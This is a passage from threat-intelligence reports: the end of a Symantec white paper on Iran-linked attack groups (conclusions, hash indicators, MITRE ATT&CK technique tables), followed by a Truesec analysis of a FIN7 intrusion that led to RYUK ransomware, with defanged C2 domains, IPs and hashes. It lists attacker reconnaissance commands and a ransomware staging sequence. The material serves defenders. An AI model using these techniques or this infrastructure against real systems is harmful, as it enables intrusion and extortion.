dissidents in Iran for surveillance and defense targets in the U.S. Does not
appear to be very sophisticated and relies heavily on social engineering. It may
have purchased or developed custom malware to use in these attacks.
Leafminer
Active since at least March 2017, Leafminer is known to have compromised a Backdoor.Sorgu
number of high profile websites in the Middle East in order to steal SMB
Trojan.Imecab
credentials from victim machines. It has targeted organizations in the
construction, education, engineering, government, IT, legal, and transport
sectors. The group is known to steal email data, SQL databases, and credentials.
Fruitworm
Copy Kitten
Active since at least March 2015, Fruitworm is known to target Israeli individuals Trojan.Jectin
in government organizations and academic institutions. Its primary method of
attack is topic-tailored spear-phishing emails, which are used to deliver malware
to the target.
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Chapter 4: Conclusion
The recent upsurge in tensions between Iran and the U.S. could lead to an increase in both the frequency and
aggressiveness of Iranian attacks. While Symantec has yet to see any evidence of a notable uptick in activity, this should
not be misinterpreted, since planned operations could take some time to prepare and execute.
Organizations associated with the U.S. and its allies are an obvious target. While Iranian actors have, to date, heavily
focused on organizations in the Middle East, attacks against the U.S. should not be ruled out, particularly considering the
heightened state of tensions at present.
However, organizations based in the Middle East are probably those most at risk, given that Iranian groups know this region
best and may already have ongoing compromises. Destructive attacks, such as those involving disk wipers, usually require
some prior compromise of the organization's network. This may mean that any potential destructive attacks could be focused
on the Middle East, particularly if the attackers are under time pressure to retaliate.
Most destructive attacks originating from Iran have involved Shamoon disk-wiping malware. Since Shamoon leverages the
legitimate Eldos driver to wipe machines, organizations concerned about a potential Shamoon attack could mitigate the risk
of exposure by hunting for and disabling the Eldos driver on their network.
In addition to this, any organization that has found evidence of an intrusion by any Iran-linked group in the past should remain
on high alert, since attacks frequently rely on credentials stolen in earlier intrusions.
Nevertheless, any potential target (organizations publicly associated with or strategically important to the U.S. or its allies)
should exercise extreme vigilance and review its security posture.
For a briefing on this white paper, contact us at [email protected] to connect with a Symantec security
specialist.
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Appendix A: Indicators of Compromise (IOCs)
Table 6: Indicators of Compromise (IOCs)
Group
Description
Shamoon
SHA256:
89850b5f6e06db3965d0fdf8681bc6e55d3b572c97351190c247b9c8b1419850
Disttrack.B Wiper malware
Shamoon
SHA256:
bac9503a28ef97ee5d77fc3caedbf4f61e975679212f5da7945e6063c1d8a88f
Targeted malware
Shamoon
SHA256:
bd2097055380b96c62f39e1160d260122551fa50d1eccdc70390958af56ac003
Disttrack.B Wiper malware
Dustman/ZeroCleare
MD5: 1a69a02b0cd10b1764521fec4b7376c9
Wiper malware (x64)
Dustman/ZeroCleare
MD5: 33f98b613b331b49e272512274669844
Wiper malware (x86)
Dustman/ZeroCleare
MD5: 69b0cec55e4df899e649fa00c2979661
ElDos driver (x86)
Dustman/ZeroCleare
MD5: 993e9cb95301126debdea7dd66b9e121
ElDos driver (x64)
Seedworm
SHA256:
7b4da8f9ffa435c689923b7245133ee032f99fcd841516f2e2275fb4b76d28f9
Xsxeon
Seedworm
SHA256:
36fc0a750d29ecf1d31ae3c7e834e548fe8eed25db62dfbdbf9148d896c13f59
Powermud.v2
Seedworm
SHA256:
5f2eac7251a9fc74309985b3dc1d9730f86c8cd95b22d16b04c0ad0521f10598
Powermud.v2
Seedworm
SHA256:
7b93b928bb9e41a7b890bc2ad559044fa39351d7f42a0bcb0ee1d2bb5def8e60
Powermud.v2
Seedworm
SHA256:
f0c726c75a79e83ab24c6d6e04022974bd79d35ff4c3e0118e7707eedd7edea2
Lazagne
Seedworm
SHA256:
905e3f74e5dcca58cf6bb3afaec888a3d6cb7529b6e4974e417b2c8392929148
Downloader
Seedworm
SHA256:
148839e013fee10ee5007f80de2e169778739e84d1bbb093f69b56060ceef73f
Downloader
Seedworm
SHA256:
18cfd4c853b4fb497f681ea393292aec798b65d53874d8018604068c30db5f41
Downloader
Seedworm
SHA256:
1d768c6a5165cadf39ac68e4cc294399f09b48dfefd7bfd6d78e75ad882cd3f1
Downloader
Seedworm
SHA256:
20ec56029ec2dc6a0f86d172f12914d078fc679a8d01257394864413d01d7eda
Downloader
Seedworm
SHA256:
2f69f7df7a2ab7b1803bb50b23ac17f7047b4651513bdff98dae5adee492c98f
Downloader
Seedworm
SHA256:
32c5d06a518a17daf825374449a5096e1109a1eb99c010bb2524b9b0ed6e3114
Downloader
Seedworm
SHA256:
4a2db2c017b44834bfab8bd7ba107750d77cd1e62db0b4892ab3c053b2d64fae
Downloader
Seedworm
SHA256:
64001be2fc9ccec320d48c75d2de8ad7cd74092065cb44fe35b38624d4493df0
Downloader
Seedworm
SHA256:
7f31ab924bddc2f20697157f7cfa6ff25adfbbb50403052cccd05dc0e9faabc4
Downloader
Seedworm
SHA256:
905e3f74e5dcca58cf6bb3afaec888a3d6cb7529b6e4974e417b2c8392929148
Downloader
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Table 6: Indicators of Compromise (IOCs) (Continued)
Group
Description
Tortoiseshell
SHA256:
02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2
Custom Backdoor
Tortoiseshell
SHA256:
07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4
Custom Backdoor
Tortoiseshell
SHA256:
07e791d18ea8f2f7ede2962522626b43f28cb242873a7bd55fff4feb91299741
Poisonfrog
Tortoiseshell
SHA256:
08cb4383288d2e5829b0fc186df36deb6b8078137b6b3a338a0597a665204852
Alias:Infostealer
Tortoiseshell
SHA256:
0e5d06e08a1a665b1112043e99718392fe1aeb700793fd49be7f60d7f3b63e4d
Custom Backdoor
Tortoiseshell
SHA256:
18e5753be209eafb6292f712d481cf264273d5e592cca81fc2a990440f49a545
Alias: TCPStager
Tortoiseshell
SHA256:
1c79900c35fcb0e717ccb6939e4a5801ad7c3b7c806a74e48ce9c8a77c135bb5
CVE-2018-8440
Tortoiseshell
SHA256:
225e06c4ad0d00387f814de69be3e5dfa655d96e34b94fb0777b6aa045f127d1
Custom Backdoor
Tortoiseshell
SHA256:
248cbfa25130e37916d4593fc192a2dc666bc67755cdebdc0f1cdf91bd4a518b
Alias:ListNetstat
Tortoiseshell
SHA256:
34588fb9b32d09d83de2f911beed013c87074ad572c97bc0197d30e9777a4154
Custom Backdoor
Tortoiseshell
SHA256:
3a7b95c93f2e525f7dfa1816652d8cebb682fc9daa26c66e193f0c5190d0ed17
Poisonfrog
Tortoiseshell
SHA256:
444c4e9b4e0217c7b5a00aab3348913a2ea8aad005cdcd6fc033ef34642d5bf8
Powershell
Tortoiseshell
SHA256:
4e0ca724fd8a18a94d9dbc990aa506981db700c76e5611a02e189a430d5f4764
Downloader
Tortoiseshell
5 SHA256:
26799f0791ad26cbd781d89bf4363e6827b3b5f59746405a847dec45f040796
Alias:ListNetstat
Tortoiseshell
SHA256:
55adf532a7b7fb2b291b88b072fda5c0d642bf9bd4af316ae8c40c70feb391a4
Alias:Infostealer
Tortoiseshell
SHA256:
5dbd3018d2e6c2b207506d511aa18cbde292c4bf2a127073150cd276fc6e925e
Alias:ListNetstat
Tortoiseshell
SHA256:
694e7361f2698e6995bab4b3d1cda4e98f8d83d1ba8c39367be6158bc17ad30e
Custom Backdoor
Tortoiseshell
SHA256:
707cbcf75a08445479388ade04229c7e08f48cf2f9efc47fc27de564406c56e2
Custom Backdoor
Tortoiseshell
SHA256:
77a85a06a9c00cc58f4b701ef574389b13b6edd04b93fbabcf0a4de03b68ab76
Alias:Screenshot
Tortoiseshell
SHA256:
869ae66ec2d7e46cbfb2c3d15b34b77a12a372ed0c5e92587afcce892c1f6b17
CVE-2018-8440
Tortoiseshell
SHA256:
882d51c2f258fc4bc189837b6de12760a51764bc0f621a692173273ff59af117
Custom Backdoor
Tortoiseshell
SHA256:
8f149e7e454053505dcc3252dd72de132298d3c0085640eb959de490347046c1
Custom Backdoor
Tortoiseshell
SHA256:
9b980581131b070c7b790ca536ac606da913990d888352c99f480f1c0597c3a8
Downloader
Tortoiseshell
SHA256:
b1223d63a8aea619e006c76a6a8d8ac16808fa65a90b98cfd2bebf470bf6c58e
Downloader
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Table 6: Indicators of Compromise (IOCs) (Continued)
Group
Description
Tortoiseshell
SHA256:
bc06dd43d1f3eda6beae85ce31e5798b0888a60c6426b33df5a40e6287b06848
Custom Backdoor
Tortoiseshell
SHA256:
da060f48b3c681639d8ec285846285ed8fda300fa9ee69a69d4fa8c0420c8070
Custom Backdoor
Tortoiseshell
SHA256:
ea875796304235077556bfbf23274d25819a42a7ba4ebeabb445274568ab43ac
Custom Backdoor
Tortoiseshell
SHA256:
f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193
Custom Backdoor
Chafer
SHA256:
1e94a1ca83123688215b64369a37162448a0f3927e3f0f4f412ee352db6abf5c
Exemyr
Chafer
SHA256:
fc74c58705f4d2f6241118b729d86e4610045418690d833de6b123d08d1f8a37
Trojan
Chafer
SHA256:
d4dcbfbab036132eb6c40c56a44c0d3b4b681b19841b81fc4f8e1d62ea5b211d
Alias: Dntxdoor
Chafer
SHA256:
caa841e4809efdfb3be1de588d74ccf32a96a8c1bc4108d07ade509551ce77e4
Remexi
Chafer
SHA256:
3ebc9890fa04b1035565d7d273f80032e811ac5e42d3aa1dafe6e33b6572f8cb
Remexi
Chafer
SHA256:
2802ad7e910e4ef647b93f11b3f4a5ec465a0abf16c542884442c70555ca8352
Mini_rsocks
Crambus
SHA256:
3996efe9a3cf471a1f816287368fa0f99d2cdb95786530b0b61c7b9024ff717b
Alias: Hisoka
Crambus
SHA256:
db1f460f624a4c13c3004899c5d0a4c3668ba99bb1e6be7f594e965c637b6917
Alias: Sakabota
Crambus
SHA256:
4c68068c16e320e2dd346adfa64686a3bcd5aef98fdc0f69d5f0e82d254eacf4
Alias: Yakenzi
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Appendix B: Mitre Attack Techniques
Table 7: Mitre Attack Techniques
Group
Technique ID
Technique Name
Technique Use
Elfin
T1110
Brute Force
Elfin has used password spraying to gain access to target systems.
Elfin
T1043
Commonly Used Port
Elfin has used port 443 for command and control.
Elfin
T1003
Credential Dumping
Elfin has used a variety of publicly available tools like LaZagne,
Mimikatz, Gpppassword, SniffPass, and ProcDump to dump
credentials.
Elfin
T1002
Data Compressed
Elfin has used WinRAR to compress data prior to exfiltration.
Elfin
T1132
Data Encoding
Elfin has used base64 to encode command and control traffic.
Elfin
T1480
Execution Guardrails
Elfin has used kill dates in their malware to guardrail execution.
Elfin
T1048
Exfiltration Over Alternative
Protocol
Elfin has used FTP to exfiltrate files (separately from the C2 channel).
Elfin
T1203
Exploitation for Client Execution Elfin has attempted to exploit a known vulnerability in WinRAR (CVE2018-20250).
Elfin
T1068
Exploitation for Privilege
Escalation
Elfin has used a publicly available exploit for CVE-2017-0213 to
escalate privileges on a local system.
Elfin
T1040
Network Sniffing
Elfin has used SniffPass to collect credentials by sniffing network
traffic.
Elfin
T1027
Obfuscated Files or Information
Elfin has used base64 to encode payloads.
Elfin
T1086
PowerShell
Elfin has utilized PowerShell to download files from the C2 server and
run various scripts.
Elfin
T1060
Registry Run Keys/Startup Folder Elfin has deployed a tool known as DarkComet to the Startup folder of
a victim.
Elfin
T1105
Remote File Copy
Elfin has downloaded additional files and programs from its C2 server.
Elfin
T1053
Scheduled Task
Elfin has created a scheduled task to execute a .vbe file multiple times
a day.
Elfin
T1192
Spear Phishing Link
Elfin has sent spear phishing emails containing links to .hta files.
Elfin
T1071
Standard Application Layer
Protocol
Elfin has used HTTP for command and control.
Elfin
T1032
Standard Cryptographic Protocol Elfin has used AES for encryption of command and control traffic.
Elfin
T1065
Uncommonly Used Port
Elfin has used ports 808 and 880 for command and control.
Elfin
T1204
User Execution
Elfin has lured users to click links to malicious HTML applications
delivered via spear phishing emails.[1][3]
Elfin
T1078
Valid Accounts
Elfin has used valid accounts for initial access and privilege escalation.
Seedworm
T1088
Bypass User Account Control
Seedworm uses various techniques to bypass UAC.
Seedworm
T1191
CMSTP
Seedworm has used CMSTP.exe and a malicious INF to execute its
POWERSTATS payload.
Seedworm
T1059
Command-Line Interface
Seedworm has used a custom tool for creating reverse shells.
Seedworm
T1500
Compile After Delivery
Seedworm has used the .NET csc.exe tool to compile executables
from downloaded C# code.
Seedworm
T1175
Component Object Model and
Distributed COM
Seedworm has used malware that has the capability to execute
malware via COM and Outlook.
Seedworm
T1090
Connection Proxy
Seedworm has controlled POWERSTATS from behind a proxy network
to obfuscate the C2 location.
Broadcom
SED-IAP-WP100
Symantec Critical Attack Discovery and Intelligence White Paper
Current Iran-Associated Cyber Threats
Table 7: Mitre Attack Techniques (Continued)
Group
Technique ID
Technique Name
Technique Use
Seedworm
T1003
Credential Dumping
Seedworm has performed credential dumping with Mimikatz,
LaZagne, and other tools, including by dumping passwords saved in
victim web browsers and email.
Seedworm
T1503
Credentials from Web Browsers
Seedworm has run a tool that steals passwords saved in victim web
browsers.
Seedworm
T1081
Credentials in Files
Seedworm has run a tool that steals passwords saved in victim email.
Seedworm
T1002
Data Compressed
Seedworm has used the native Windows cabinet creation tool,
makecab.exe, likely to compress stolen data to be uploaded.
Seedworm
T1140
Deobfuscate/Decode Files or
Information
Seedworm decoded base64-encoded PowerShell commands using a
VBS file.
Seedworm
T1173
Dynamic Data Exchange
Seedworm has used malware that can execute PowerShell scripts via
DDE.
Seedworm
T1083
File and Directory Discovery
Seedworm has used malware that checked if the ProgramData folder
had folders or files with the keywords "Kasper," "Panda," or "ESET."
Seedworm
T1036
Masquerading
Seedworm has used filenames and Registry key names associated
with Windows Defender. The group has also stored obfuscated
JavaScript code in an image file named temp.jpg.
Seedworm
T1170
Mshta
Seedworm has used mshta.exe to execute its POWERSTATS payload
and to pass a PowerShell one-liner for execution.
Seedworm
T1104
Multi-Stage Channels
Seedworm has used one C2 to obtain enumeration scripts and monitor
web logs, but a different C2 to send data back.
Seedworm
T1027
Obfuscated Files or Information
Seedworm has used Daniel Bohannon's Invoke-Obfuscation
framework. The group has also used other obfuscation methods,
including Base64 obfuscation of VBScripts and PowerShell
commands.
Seedworm
T1086
PowerShell
Seedworm has used PowerShell for execution.
Seedworm
T1057
Process Discovery
Seedworm has used malware to obtain a list of running processes on
the system.
Seedworm
T1060
Registry Run Keys/Startup Folder Seedworm has added Registry Run key
KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEn
coding to establish persistence.
Seedworm
T1105
Remote File Copy
Seedworm has used malware that can upload additional files to the
victim's machine.
Seedworm
T1085
Rundll32
Seedworm has used malware that leveraged rundll32.exe in a Registry
Run key to execute a .dll.
Seedworm
T1113
Screen Capture
Seedworm has used malware that can capture screenshots of the
victim's machine.
Seedworm
T1064
Scripting
Seedworm has used VBScript and JavaScript files to execute its
POWERSTATS payload. Seedworm has also used Microsoft scriptlets,
macros, and PowerShell scripts.
Seedworm
T1063
Security Software Discovery
Seedworm has used malware to check running processes against a
hard-coded list of security tools often used by malware researchers.
Seedworm
T1193
Spear Phishing Attachment
Seedworm has compromised third parties and used compromised
accounts to send spear phishing emails with targeted attachments to
recipients.
Seedworm
T1082
System Information Discovery
Seedworm has used malware that can collect the victim's OS version
and machine name.
Seedworm
T1016
System Network Configuration
Discovery
Seedworm has used malware to collect the victim's IP address and
domain name.
Broadcom
SED-IAP-WP100
Symantec Critical Attack Discovery and Intelligence White Paper
Current Iran-Associated Cyber Threats
Table 7: Mitre Attack Techniques (Continued)
Group
Technique ID
Technique Name
Technique Use
Seedworm
T1033
System Owner/User Discovery
Seedworm has used malware that can collect the victim's username.
Seedworm
T1204
User Execution
Seedworm has attempted to get users to enable macros and launch
malicious Microsoft Word documents delivered via spear phishing
emails.
Seedworm
T1047
Windows Management
Instrumentation
Seedworm has used malware that leveraged WMI for execution and
querying host information.
Chafer
T1090
Connection Proxy
Chafer used custom tools to create SOCK5 proxies between infected
hosts.
Chafer
T1003
Credential Dumping
Chafer has used Mimikatz, Ncrack, Windows Credential Editor and
ProcDump to dump credentials.
Chafer
T1002
Data Compressed
Chafer has used WinRAR and 7-Zip to compress and archive stolen
data.
Chafer
T1046
Network Service Scanning
Chafer used a custom port scanner known as BLUETORCH
Chafer
T1060
Registry Run Keys/Startup Folder Chafer has maintained persistence using the startup folder.
Chafer
T1076
Remote Desktop Protocol
Chafer has been seen using RDP for lateral movement and
persistence.
Chafer
T1021
Remote Services
Chafer used secure shell (SSH) to move laterally among their targets.
Chafer
T1053
Scheduled Task
Chafer has created scheduled tasks.
Chafer
T1064
Scripting
Chafer utilized custom scripts to perform internal reconnaissance.
Chafer
T1023
Shortcut Modification
Chafer has modified LNK shortcuts.
Chafer
T1045
Software Packing
Chafer has repacked a modified version of Mimikatz to thwart anti-virus
detection.
Chafer
T1193
Spear Phishing Attachment
Chafer leveraged spear phishing emails with malicious attachments to
initially compromise victims.
Chafer
T1192
Spear Phishing Link
Chafer leveraged spear phishing emails with malicious links to initially
compromise victims.
Chafer
T1016
System Network Configuration
Discovery
Chafer has used NBTScan to discover vulnerable systems.
Chafer
T1033
System Owner/User Discovery
Chafer used Remexi to collect usernames from the system.
Chafer
T1204
User Execution
Chafer has sent spear phishing emails in an attempt to lure users to
click on a malicious attachment or link.
Chafer
T1078
Valid Accounts
Chafer has used stolen credentials to compromise Outlook Web
Access (OWA).
Chafer
T1100
Web Shell
Chafer has installed ANTAK and ASPXSPY web shells.
Crambus
T1087
Account Discovery
Crambus has run net user, net user /domain, net group "domain
admins" /domain, and net group "Exchange Trusted Subsystem" /
domain to get account listings on a victim.
Crambus
T1119
Automated Collection
Crambus has used automated collection.
Crambus
T1110
Brute Force
Crambus has used brute force techniques to obtain credentials.
Crambus
T1059
Command-Line Interface
Crambus has used the command-line interface for execution.
Crambus
T1043
Commonly Used Port
Crambus has used port 80 to call back to the C2 server.
Crambus
T1223
Compiled HTML File
Crambus has used a CHM payload to load and execute another
malicious file once delivered to a victim.
Crambus
T1003
Credential Dumping
Crambus has used credential dumping tools such as Mimikatz and
LaZagne to steal credentials to accounts logged into the compromised
system and to Outlook Web Access.
Broadcom
SED-IAP-WP100
Symantec Critical Attack Discovery and Intelligence White Paper
Current Iran-Associated Cyber Threats
Table 7: Mitre Attack Techniques (Continued)
Group
Technique ID
Technique Name
Technique Use
Crambus
T1081
Credentials in Files
Crambus has used tools named VALUEVAULT and PICKPOCKET to
dump passwords from web browsers.
Crambus
T1094
Custom Command and Control
Protocol
Crambus has used custom DNS Tunneling protocols for C2.
Crambus
T1140
Deobfuscate/Decode Files or
Information
A Crambus macro has run a PowerShell command to decode file
contents. Crambus has also used certutil to decode base64-encoded
files on victims.
Crambus
T1048
Exfiltration Over Alternative
Protocol
Crambus has exfiltrated data over FTP separately from its primary C2
channel over DNS.
Crambus
T1133
External Remote Services
Crambus uses remote services such as VPN, Citrix, or OWA to persist
in an environment.
Crambus
T1008
Fallback Channels
Crambus malware ISMAgent falls back to its DNS tunneling
mechanism if it is unable to reach the C2 server over HTTP.
Crambus
T1107
File Deletion
Crambus has deleted files associated with their payload after
execution.
Crambus
T1066
Indicator Removal from Tools
Crambus has tested malware samples to determine AV detection and
subsequently modified the samples to ensure AV evasion.
Crambus
T1056
Input Capture
Crambus has used keylogging tools called KEYPUNCH and
LONGWATCH.
Crambus
T1046
Network Service Scanning
Crambus has used the publicly available tool SoftPerfect Network
Scanner as well as a custom tool called GOLDIRONY to conduct
network scanning.
Crambus
T1027
Obfuscated Files or Information
Crambus has encrypted and encoded data in its malware, including by
using base64.
Crambus
T1201
Password Policy Discovery
Crambus has used net.exe in a script with net accounts /domain to find
the password policy of a domain.
Crambus
T1069
Permission Groups Discovery
Crambus has used net group /domain, net localgroup administrators,
net group "domain admins" /domain, and net group "Exchange Trusted
Subsystem" /domain to find group permission settings on a victim.
Crambus
T1086
PowerShell
Crambus has used PowerShell scripts for execution, including use of
a macro to run a PowerShell command to decode file contents.
Crambus
T1057
Process Discovery
Crambus has run tasklist on a victim's machine.
Crambus
T1012
Query Registry
Crambus has used reg query
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Default" on a victim to query the Registry.
Crambus
T1108
Redundant Access
Crambus has used RGDoor via Web shell to establish redundant
access. The group has also used harvested credentials to gain access
to Internet-accessible resources such as Outlook Web Access, which
could be used for redundant access.
Crambus
T1076
Remote Desktop Protocol
Crambus has used Remote Desktop Protocol for lateral movement.
The group has also used tunneling tools to tunnel RDP into the
environment.
Crambus
T1105
Remote File Copy
Crambus can download remote files onto victims.
Crambus
T1021
Remote Services
Crambus has used Putty to access compromised systems.
Crambus
T1053
Scheduled Task
Crambus has created scheduled tasks that run a VBScript to execute
a payload on victim machines.
Crambus
T1113
Screen Capture
Crambus has a tool called CANDYKING to capture a screenshot of
user's desktop.
Broadcom
SED-IAP-WP100
Symantec Critical Attack Discovery and Intelligence White Paper
Current Iran-Associated Cyber Threats
Table 7: Mitre Attack Techniques (Continued)
Group
Technique ID
Technique Name
Technique Use
Crambus
T1064
Scripting
Crambus has used various types of scripting for execution, including
.bat and .vbs scripts. The group has also used macros to deliver
malware such as QUADAGENT and OopsIE.
Crambus
T1193
Spear Phishing Attachment
Crambus has sent spear phishing emails with malicious attachments
to potential victims using compromised and/or spoofed email
accounts.
Crambus
T1192
Spear Phishing Link
Crambus has sent spear phishing emails with malicious links to
potential victims.
Crambus
T1194
Spear Phishing via Service
Crambus has used LinkedIn to send spear phishing links.
Crambus
T1071
Standard Application Layer
Protocol
Crambus has used HTTP and DNS for C2. The group has also used
the Plink utility and other tools to create tunnels to C2 servers.
Crambus
T1032
Standard Cryptographic Protocol Crambus used the Plink utility and other tools to create tunnels to C2
servers.
Crambus
T1082
System Information Discovery
Crambus has run hostname and systeminfo on a victim.
Crambus
T1016
System Network Configuration
Discovery
Crambus has run ipconfig /all on a victim.
Crambus
T1049
System Network Connections
Discovery
Crambus has used netstat -an on a victim to get a listing of network
connections.
Crambus
T1033
System Owner/User Discovery
Crambus has run whoami on a victim.
Crambus
T1007
System Service Discovery
Crambus has used sc query on a victim to gather information about
services.
Crambus
T1204
User Execution
Crambus has delivered malicious links and macro-enabled documents
that required targets to click the "enable content" button to execute the
payload on the system.
Crambus
T1078
Valid Accounts
Crambus has used compromised credentials to access other systems
on a victim network.
Crambus
T1100
Web Shell
Crambus has used Web shells, often to maintain access to a victim
network.
Crambus
T1047
Windows Management
Instrumentation
Crambus has used WMI for execution.
Broadcom
SED-IAP-WP100
Symantec Critical Attack Discovery and Intelligence White Paper
Current Iran-Associated Cyber Threats
Revision History
SED-IAP-WP100; January 24, 2020
Initial release.
Broadcom
SED-IAP-WP100
Collaboration Between FIN7 and the RYUK Group
truesec.com/hub/blog/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation
21 December 2020
Insight
2020-12-21
A Truesec Investigation
This is an analysis of part of the network of Russian organized crime hacking groups.
Mattias W
9 min read
Executive Summary
This summer Truesec observed an attacker that used the tools and techniques of FIN7,
including the CARBANAK RAT, to take over the network of an enterprise. In a subsequent
attack almost six weeks later this foothold was used to deploy the RYUK ransomware on the
victim network.
This attack marks the first instance Truesec has observed of the combination of FIN7 tools
and the RYUK ransomware, indicating a change in pattern for FIN7 attacks. Up until now
FIN7 has not been associated with ransomware attacks. This also suggests a closer
collaboration between FIN7 and the RYUK group, also known as WIZARD SPIDER or FIN6,
than has been previously known by Truesec.
It is possible FIN7 simply sold the access to the RYUK group, but it is probable that FIN7 and
WIZARD SPIDER are more closely affiliated and may be part of the same organized crime
network.
Introduction
Threat actors are constantly evolving and changing their methods. FIN7 is a financially
motivated threat group that in the past has targeted the retail, restaurant, and hospitality
sectors since mid-2015. They are known to use the CARBANAK RAT for mail-hijacking and
point-of-sale attacks.
This summer Truesec observed an attacker that used the tools and techniques of FIN7,
including the CARBANAK RAT, to take over the network of an enterprise. Later this foothold
was used to deploy the RYUK ransomware on the victim network.
1/14
This attack marks the first instance Truesec has observed of the combination of FIN7 tools
and the RYUK ransomware, indicating a change in pattern for FIN7 attacks. Up until now
FIN7 has not been associated with ransomware attacks.
Given that ransomware is now the preferred technique for financially motivated attacks, it is
not surprising that FIN7 also switch to ransomware. The attack also indicates that FIN7 now
collaborates with the RYUK group, also known as WIZARD SPIDER or FIN6, in financially
motivated attacks.
Technical Details
Stage 1
The Phishing
The first part of the attack was a phishing email claiming to be from UPS.
2/14
Figure 1
phishing mail
The link in the email redirected the victim to a SharePoint URL that downloads a ZIP file,
Data .zip
, which included a VBS script in the archive, which in turn dropped another script
that launched a JavaScript backdoor on the victim machine. Using a VBS script to drop
JavaScript is a known method used by FIN7 and similar groups.
Stage 2
The Take Over
JavaScript backdoor
3/14
This appears to be the same as the JavaScript backdoor in an article by Morphisec from
November 2018. As described in the article this was used by FIN7 to deploy the CARBANAK
RAT.
The backdoor connected to domain sephardimension[.]com. Some of the functions of the
JavaScript backdoor are illustrated below.
Figure 2
Part of JavaScript backdoor
Figure 3
Part of JavaScript backdoor
Figure 4
Part of JavaScript backdoor
These functions are clearly later versions of the code illustrated in the article by Morphisec.
4/14
From the JavaScript backdoor on the compromised client, the threat actor began performing
typical escalation attempts in the Active Directory.
PowerShell RAT
Once the attacker had ensured they had admin privileges, they launched RunPsExec against
several clients and servers to install a second malicious code, a PowerShell RAT, previously
unknown to Truesec. The PowerShell RAT connected to another malicious domain:
hxxps://besaintegration[.]com/gate.
The PowerShell RAT includes functions to retrieve basic system information and provides
capabilities to start and manage arbitrary commands as background jobs.
The different functions are illustrated below.
Figure 5
Part of PowerShell RAT
5/14
Figure 6
Part of PowerShell RAT
Figure 7
Part of PowerShell RAT
6/14
Figure 8
Part of PowerShell RAT
7/14
Figure 9
Part of PowerShell RAT
8/14
Figure 10
Part of PowerShell RAT
CARBANAK RAT
The last action the attacker performed at this stage was to also install the CARBANAK RAT
as an additional backdoor onto domain controllers of the victim network. The attacker
downloaded an obfuscated script that when executed, loads a DLL file in memory and
executes it through reflection methods.
9/14
Figure 11
Decompressed script
It then connects to Command-and-Control server 170.130.55[.]85:443 in order to download
the malware configuration file anunak_config which is a known component of the
CARBANAK RAT. Once the CARBANAK RAT was installed, it would beacon to the same C2
server.
Once the actor had deployed the PowerShell RAT and CARBANAK RAT, no further action
was taken on the compromised network for several weeks.
Stage 3
The Reconnaissance
10/14
Cobalt Strike
The third stage of the attack began several weeks after the initial compromise and lasted
about a week. The attacker deployed Cobalt Strike on the network and began
reconnaissance and data discovery on the network. This part of the attack was conducted
from a completely different infrastructure than the first two stages.
Data Theft
During this stage, the attacker also exfiltrated data from the victim network. The exfiltration
was done using the SmartFTP Client that connected to an IP address controlled by the
attacker.
The names of some of the files that were exfiltrated were found in the file
Unlocker-List.txt
This file is part of the IObit Unlocker software, installed by the attacker, likely to facilitate the
ransomware execution or file copy operations by unlocking locked files.
Stage 4
The Ransomware
RYUK Ransomware
A week after the attacker had begun reconnaissance of the network and exfiltrated the data
they wanted; they deployed the RYUK ransomware. The Ransomware was deployed using
both manual and scripted methods.
The high-level description of the staging procedure is summarized below:
1. Identify server hostnames and IP addresses in the domain
2. Prepare batch file to disable protections and security software (kill.bat)
3. Prepare RYUK ransomware (svchost.exe)
4. Copy kill.bat
5. Disable User Account Control
6. Run kill.bat
7. Copy RYUK ransomware (svchost.exe)
8. Run RYUK ransomware (svchost.exe)
Steps 4-8 were performed on all identified servers in the victim network, using both IP
address and hostname. Remote code execution was achieved with two methods: remote
WMI command execution and using Microsoft Sysinternals
utility PsExec.
Conclusions
11/14
The first two stages of the attack, when the attacker took over the network, clearly bears the
mark of the criminal threat actor known as FIN7. Both the JavaScript backdoor and the way it
was installed, and CARBANAK RAT are tools that have been attributed to FIN7. No attempt
to identify resources in the network was made at this time, once the attacker had control of
the network.
The subsequent stages, in which data was stolen and a ransomware was deployed,
occurred almost six weeks after the initial compromise. This part of the attack was done
using tools and techniques that are indicative of the RYUK ransomware group, also known
as WIZARD SPIDER or FIN6. This was also conducted from an entirely different
infrastructure than the initial stages attributed to FIN7.
The progress of the attack clearly indicates that different stages of the attack were conducted
by different teams. It
s possible that the FIN7 group are now more focused on just gaining
access and then let a team from the RYUK group take over and deploy ransomware.
This suggests a closer collaboration between FIN7 and the RYUK group than has been
previously known by Truesec. It is possible FIN7 simply sold the access to the RYUK group,
but it is probable that the two groups have even stronger ties. The RYUK group are known to
contract affiliates to gain foothold for their ransomware attacks.
It consequently seems possible that FIN7 and WIZARD SPIDER are now both part of the
same sprawling organized crime network.
Appendix
IOC
domains
dmnadmin[.]com
sendbits.m2stor4ge[.]xyz
myrric-uses.singlejets[.]com
besaintegration[.]com
sephardimension[.]com
IP addresses
45.11.180.14
45.11.180.76
45.11.180.83
12/14
45.91.93.89
46.166.161.104
46.166.161.159
170.130.55.85
185.163.45.185
185.212.44.231
185.212.47.100
193.178.169.203
194.76.225.76
194.76.225.77
194.76.225.78
194.76.225.79
194.76.226.202
195.2.93.17
MD5 hashes
10AA7B8AB8D0D1C650FFFE01AFB90CEE
19ADFCD1E2B02D655531CE53B39CDD79
166686D538EC9A0E0550347149AAC4CC
BDED054D3176EEFEEDB4470DF9EE4716
D1092764732C9A9B88AAAD727D1D4F94
9836248A42FF7FA89AE8D6D849D361F7
BA86E99056C33A4B64B08DADE708B041
0C392BC26565BDD41B7A663EFD60BF0C
1643B85E7F459C6FFE1E5AB9EBB53F93
C1BE2260C7673096D8F083AE69DFF5D0
SHA256 hashes
13/14
FCAAF4B85C42BEC0426CE7A827F437C3CF0E2C502A393DD8C3C327F035FE1A2C
1BBE96A888C6E3A52CDB0676F38A8A379A72E6F4ADE58F101A0559C7AD6F99C7
53430ABD76A5CFCFADA4962CD8925B2E32620C44A8863B445BA145F42DBFEA64
B49CA670CD9CEF54A5F372375BD6CA1BE7B68FD68535D6498374970CD69AAAE2
D9A6DD7216FAAFC65D419D09B6B7B5DDF24991A1F65F23113DDE40D4936EEA55
992785A27987A99B2B1EE0475457A0E548F5DD704429C3528C335C315FF089F5
363775EC196DC5F5C435068B4237C42C2038BD15EF40FD453FA1F49C827BDAF2
